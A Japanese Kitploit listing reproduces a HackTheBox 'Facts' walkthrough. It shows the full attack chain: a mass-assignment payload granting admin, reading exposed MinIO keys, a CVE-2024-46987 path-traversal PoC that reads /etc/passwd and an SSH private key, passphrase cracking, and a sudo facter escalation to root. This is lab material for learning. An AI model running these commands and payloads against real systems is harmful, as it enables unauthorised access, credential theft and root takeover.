Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
HackTheBox-Facts — HTB Factsは、Camaleon CMSとMinIOを搭載した簡単なLinuxボックスです。オープン登録と一括代入の脆弱性を介して管理者アクセスを取得し、管理設定からMinIOの認証情報を抽出します。CVE-2024-46987のパストラバーサルを使用してSSH秘密鍵を盗み、そのパスフレーズを解読し、GTFOBins経由でfacterのsudo権限を悪用してroot権限に昇格します。 | Kitploit
ツール/GitHubGitHub/suriyaboon/hackthebox-facts
特権昇格偵察パスワード攻撃脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテストクラウドセキュリティ学習と教育
GitHubsuriyaboon/hackthebox-facts

HackTheBox-Facts

23ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

HTB Factsは、Camaleon CMSとMinIOを搭載した簡単なLinuxボックスです。オープン登録と一括代入の脆弱性を介して管理者アクセスを取得し、管理設定からMinIOの認証情報を抽出します。CVE-2024-46987のパストラバーサルを使用してSSH秘密鍵を盗み、そのパスフレーズを解読し、GTFOBins経由でfacterのsudo権限を悪用してroot権限に昇格します。

リポジトリを見る

HTB Facts — 完全な攻略記

難易度: 中級
OS: Linux
タグ: Web, MinIO, Camaleon CMS, パストラバーサル, SSTI, 権限昇格


目次

  1. 偵察
  2. Web列挙 — ポート80
  3. MinIOの発見 — ポート54321
  4. Camaleon CMS — 管理者アクセス
  5. 管理者ロールへの権限昇格
  6. MinIO認証情報の発見
  7. 任意ファイル読み取り — CVE-2024-46987
  8. triviaとしてSSHアクセス
  9. rootへの権限昇格
  10. フラグ

偵察

まず、全TCPポートスキャンを実行して、開いているサービスを特定します。

root@kitploit:~
nmap -p- --min-rate 5000 -T4 10.129.244.96

結果:

ポートサービス備考
22SSHOpenSSH
80HTTPNginx 1.26.3 (Ubuntu)
54321不明MinIOと特定

ターゲットを/etc/hostsに追加:

root@kitploit:~
echo "10.129.244.96 facts.htb" >> /etc/hosts

Web列挙 — ポート80

http://facts.htb にアクセスすると、Camaleon CMS (Ruby on Rails) で構築されたトリビアサイトが表示されます。

主な指標:

  • Cookie名: _factsapp_session (Railsセッション)
  • アセットパス: /assets/themes/camaleon_first/
  • metaタグ内のCSRFトークン
  • サーバー: nginx/1.26.3 (Ubuntu)

サイトマップを列挙して利用可能なページをすべて特定:

root@kitploit:~
curl -s http://facts.htb/sitemap.xml

見つかった注目すべきパス:

  • /admin → /admin/login にリダイレクト
  • /rss
  • 各種トリビアページ: /animal-ejected, /anne-frank など

管理ログインパネルを確認:

root@kitploit:~
curl -v http://facts.htb/admin
# → 302 redirect to /admin/login

MinIOの発見 — ポート54321

curlで未知のポートを調査すると、S3互換のオブジェクトストレージサービスMinIOが明らかになります。

root@kitploit:~
curl -v http://facts.htb:54321

応答:

root@kitploit:~
<Error>
  <Code>AccessDenied</Code>
  <Message>Access Denied.</Message>
</Error>

ヘッダーで確認: Server: MinIO

潜在的なバケット名を列挙(すべて403を返し、存在を確認):

root@kitploit:~
for bucket in facts backup uploads media files images data private secret admin internal; do
  code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
  echo "$bucket: $code"
done

すべて403 Forbiddenを返す — バケットは存在するが認証情報が必要。


Camaleon CMS — 管理者アクセス

CMSの特定

アセットパスとセッションCookieから、CMSはCamaleon CMSと特定されます。

既知の脆弱性を確認:

root@kitploit:~
searchsploit camaleon

結果:

root@kitploit:~
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI)   | ruby/webapps/51489.txt

管理パネルのバージョンは2.9.0と確認されました(ログイン後のフッターに表示)。

アカウントの作成

http://facts.htb/admin/login の管理ログインページには 「アカウントを作成」 リンクがあります。

新しいアカウントを登録:

  • http://facts.htb/admin/users/sign_up に移動
  • 任意の有効な認証情報を入力(例: test123 / test123)
  • 送信 — これで Client ロールのアカウントが作成される

登録後、管理ダッシュボードにログイン。アカウントは制限された Client 権限を持つ。


管理者ロールへの権限昇格

マスアサインメント脆弱性

Camaleon CMSはパスワード変更エンドポイントにおいてマスアサインメント攻撃に対して脆弱です。パスワード変更リクエストを傍受し、password[role]パラメータを注入することで、攻撃者は自身のロールをadminに昇格できます。

Burp Suiteを使った手順:

  1. Clientアカウントで管理パネルにログイン。
  2. Profile → Edit → Change Password に移動。
  3. 任意の新しいパスワードを入力し、Process をクリック。
  4. Burp SuiteでPOSTリクエストを傍受。
  5. リクエストボディに &password[role]=admin を追加:
root@kitploit:~
_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
  1. リクエストを転送 — 応答は 200 OK になる。
  2. 更新された認証情報で再度ログイン。

アカウントはadmin権限を持つようになり、Settings、Media、Filesystem Settingsを含むCMS管理パネルへの完全なアクセスが可能になる。


MinIO認証情報の発見

管理者アクセスで、以下に移動:

root@kitploit:~
Settings → General Site → Filesystem Settings

ページにはハードコードされたMinIO (AWS S3互換) 認証情報が表示されます:

root@kitploit:~
AWS S3 Access Key:    AKIA59D605615FFC8875
AWS S3 Secret Key:    O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name:   randomfacts
AWS S3 Region:        us-east-1
AWS S3 Endpoint:      http://localhost:54321

AWS CLIを設定し、バケットを列挙:

root@kitploit:~
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'

aws s3 ls --endpoint-url http://facts.htb:54321

発見されたバケット:

root@kitploit:~
2025-09-11  internal
2025-09-11  randomfacts

internal バケットには trivia ユーザーのホームディレクトリが含まれています:

root@kitploit:~
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321

# SSH秘密鍵をダウンロード
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321

任意ファイル読み取り — CVE-2024-46987

別の方法として、SSH秘密鍵はCVE-2024-46987を介して取得できます。これはCamaleon CMSの認証済みパストラバーサル脆弱性で、サーバー上の任意のファイルを読み取ることができます。

公開PoCをクローン:

root@kitploit:~
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987

機密ファイルを読み取る:

root@kitploit:~
# 手順1: /etc/passwdを読み取り、システムユーザーを列挙
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd

出力(関連行):

root@kitploit:~
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

2つのユーザー trivia と william が特定されました。trivia はログインシェルとホームディレクトリを持っているため、SSH秘密鍵を確認:

root@kitploit:~
# 手順2: triviaのSSH秘密鍵を読み取り
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519

鍵の出力をファイルに保存:

root@kitploit:~
chmod 600 id_ed25519

triviaとしてSSHアクセス

SSH鍵パスフレーズの解析

SSH秘密鍵はパスフレーズで暗号化されています。ssh2john と john を使って解析:

root@kitploit:~
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

解析されたパスフレーズ: dragonballz

SSH経由でログイン

root@kitploit:~
ssh -i id_ed25519 [email protected]
# パスフレーズを入力: dragonballz

ユーザーフラグを取得:

root@kitploit:~
cat /home/william/user.txt

rootへの権限昇格

Sudo権限

trivia ユーザーのsudo権限を確認:

root@kitploit:~
sudo -l

出力:

root@kitploit:~
User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

ユーザーはパスワードなしで /usr/bin/facter をrootとして実行できます。facter はRubyベースのシステム情報ツールです。

GTFOBins — facter

GTFOBins によると、facter は --custom-dir 経由でカスタムRuby factファイルをロードでき、それらは呼び出し元のユーザー(この場合はroot)として実行されます。

エクスプロイト:

root@kitploit:~
# エクスプロイトディレクトリとRubyペイロードを作成
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF

# カスタムディレクトリでfacterをrootとして実行
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x

# bashにSUIDビットが設定されていることを確認
ls -la /bin/bash
# -rwsr-sr-x 1 root root ...

# rootシェルを起動
/bin/bash -p

ルートフラグを取得

root@kitploit:~
whoami
# root

cat /root/root.txt

フラグ

フラグ場所
user.txt/home/william/user.txt
root.txt/root/root.txt

攻撃チェーン概要

root@kitploit:~
Nmapスキャン
    ↓
ポート80: Camaleon CMS 2.9.0
    ↓
Clientアカウント登録 → 管理パネル
    ↓
マスアサインメント: password[role]=admin → 管理者ロール
    ↓
管理者設定 → MinIO認証情報が露出
    ↓
CVE-2024-46987: パストラバーサル → /home/trivia/.ssh/id_ed25519 を読み取り
    ↓
ssh2john + John → パスフレーズ: dragonballz
    ↓
triviaとしてSSHログイン
    ↓
sudo facter --custom-dir (GTFOBins) → chmod +s /bin/bash
    ↓
/bin/bash -p → root

CVEと参考文献

CVE説明
CVE-2024-46987Camaleon CMS 認証済みパストラバーサル / 任意ファイル読み取り
CVE-2023-30145Camaleon CMS v2.7.0 のformatsパラメータ経由のSSTI(このマシンでは使用せず)
  • GTFOBins — facter
  • CVE-2024-46987 PoC
  • Camaleon CMS GitHub
ツールをダウンロード